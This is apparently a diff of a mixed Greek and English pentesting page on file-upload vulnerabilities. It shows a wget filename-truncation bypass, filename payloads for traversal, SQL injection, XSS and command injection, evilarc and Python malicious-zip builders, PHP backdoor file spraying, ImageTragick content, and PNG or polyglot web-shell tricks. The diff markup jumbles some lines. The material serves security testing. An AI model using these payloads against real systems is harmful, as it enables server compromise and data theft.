Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. +Σε κάποιες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για **κατέβασμα αρχείων** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται μέσα σε μια whitelist για να διασφαλίσει ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ Το **μέγιστο** μήκος ενός **όνομα αρχείου** σε **linux** είναι **255**, όμως, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (όπως στο παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,63 +155,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**. +Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. -## Εργαλεία +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά τους Pentesters και τους Bug Hunters στη δοκιμή μηχανισμών μεταφόρτωσης αρχείων. Εκμεταλλεύεται διάφορες τεχνικές bug bounty για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας λεπτομερείς αξιολογήσεις διαδικτυακών εφαρμογών. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθάει Pentesters και Bug Hunters στο testing των file upload μηχανισμών. Αξιοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας ολοκληρωμένες αξιολογήσεις των web applications. -## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες +### Corrupting upload indices with snprintf quirks (historical) -- Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διαδρομής** -- Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection** -- Ορίστε το **filename** σε `` για να επιτύχετε XSS -- Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια εκτέλεση εντολών (περισσότερα [tricks εκτέλεσης εντολών εδώ](../command-injection.md)) -- [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**Εκμετάλλευση Υπηρεσιών Εργαζομένων**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**. -- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες. -- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό** -- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά την μεταφόρτωση αρχείων +Ορισμένοι legacy upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να παραποιήσουν τη δομή `_FILES`. Εξαιτίας ασυνεπειών και αποκοπών στη συμπεριφορά του `snprintf()`, ένα προσεκτικά διαμορφωμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed αρχεία στην πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα αυστηρό σχήμα (π.χ. θεωρώντας το ως multi-file upload και ακολουθώντας μη ασφαλείς διαδρομές). Αν και σήμερα πιο niche, αυτό το μοτίβο “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλαιότερους κώδικες. -Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +## From File upload to other vulnerabilities + +- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** +- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** +- Set **filename** to `` to achieve a XSS +- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** +- Check if there is any **size limit** uploading files + +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE -2. **SVG**: Αποθηκευμένο XSS / SSRF / XXE -3. **GIF**: Αποθηκευμένο XSS / SSRF -4. **CSV**: Εισαγωγή CSV +2. **SVG**: Stored XSS / SSRF / XXE +3. **GIF**: Stored XSS / SSRF +4. **CSV**: CSV injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση -8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS) -9. **ZIP**: RCE μέσω LFI / DoS +7. **HTML / JS** : HTML injection / XSS / Open redirect +8. **PNG / JPEG**: Pixel flood attack (DoS) +9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Επέκταση Burp +#### Burp Extension + {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Μαγικά Header Bytes +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων. +Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. -## Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση +## Zip/Tar File Automatically decompressed Upload -Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα: +If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: ### Symlink -Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία: +Ανεβάστε ένα αρχείο που περιέχει soft links προς άλλα αρχεία. Στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα αρχεία στα οποία δείχνουν οι σύνδεσμοι: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -220,18 +224,18 @@ tar -cvf test.tar symindex.txt ``` ### Αποσυμπίεση σε διαφορετικούς φακέλους -Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής. +Η απροσδόκητη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να εμποδίσει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων uploads αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal της μορφής αρχείου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από secure upload directories χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής. -Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: +Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Επιπλέον, το **trick symlink με το evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του. +Επιπλέον, η **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσεις ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργήσεις ένα symlink προς αυτό το αρχείο στο σύστημά σου. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του. -Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου: +Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file: ```python #!/usr/bin/python import zipfile @@ -249,11 +253,11 @@ zip.close() create_zip() ``` -**Κατάχρηση συμπίεσης για file spraying** +**Abusing compression for file spraying** -Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Για περισσότερες λεπτομέρειες **δείτε την πρωτότυπη ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Δημιουργία ενός PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`. +1. **Creating a PHP Shell**: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της μεταβλητής `$_REQUEST`. ```php ``` -2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συντάσσεται ένα zip αρχείο που περιέχει αυτά τα αρχεία. +2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να διασχίσουν τους καταλόγους. +3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να γίνει traversal φακέλων. ```bash :set modifiable @@ -280,7 +284,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Ανεβάστε αυτό το περιεχόμενο με μια επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767)) +Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -289,29 +293,29 @@ pop graphic-context ``` ## Ενσωμάτωση PHP Shell σε PNG -Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης. +Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός PNG αρχείου μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες χρήσεις. -Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των πιθανών εφαρμογών, παρέχεται στο παρακάτω άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της. +Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της. -Περισσότερες πληροφορίες στο: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +Περισσότερες πληροφορίες: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Πολυγλωσσικά Αρχεία +## Polyglot αρχεία -Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. +Τα Polyglot αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας σαν χameleons που μπορούν νόμιμα να υπάρχουν σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. -Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς. +Η κύρια χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload—όπως JPEG, GIF, ή DOC—για να μετριαστεί ο κίνδυνος από πιθανώς επιβλαβείς μορφές (π.χ., JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτές τις περιοριστικές πολιτικές. -Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του. +Παρότι είναι ευέλικτα, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR αρχείο (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική της πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπτές επεκτάσεις, η απλή δομική διπλότητα ενός polyglot ενδέχεται να μην αρκεί για να εγγυηθεί το upload. -Περισσότερες πληροφορίες στο: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +Περισσότερες πληροφορίες: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Ανέβασμα έγκυρων JSON όπως αν ήταν PDF +### Φόρτωση έγκυρων JSON σαν να ήταν PDF -Πώς να αποφύγετε τις ανιχνεύσεις τύπου αρχείου ανεβάζοντας ένα έγκυρο αρχείο JSON ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι ένα αρχείο PDF (τεχνικές από **[αυτή την ανάρτηση στο blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Πώς να αποφύγετε την ανίχνευση τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` βιβλιοθήκη**: Όσο οι μαγικοί byte `%PDF` είναι στα πρώτα 1024 byte, είναι έγκυρο (πάρε παράδειγμα από την ανάρτηση) -- **`pdflib` βιβλιοθήκη**: Πρόσθεσε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (πάρε παράδειγμα από την ανάρτηση) -- **`file` δυαδικό**: Μπορεί να διαβάσει έως 1048576 byte από ένα αρχείο. Απλά δημιούργησε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλε το αρχικό μέρος ενός πραγματικού PDF και θα νομίζει ότι είναι PDF +- **`mmmagic` library**: Όσο τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (δες παράδειγμα στο post) +- **`pdflib` library**: Προσθέστε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι πρόκειται για PDF (δες παράδειγμα στο post) +- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Απλά δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και μετά μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα θεωρήσει ότι είναι PDF ## Αναφορές @@ -322,5 +326,6 @@ pop graphic-context - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}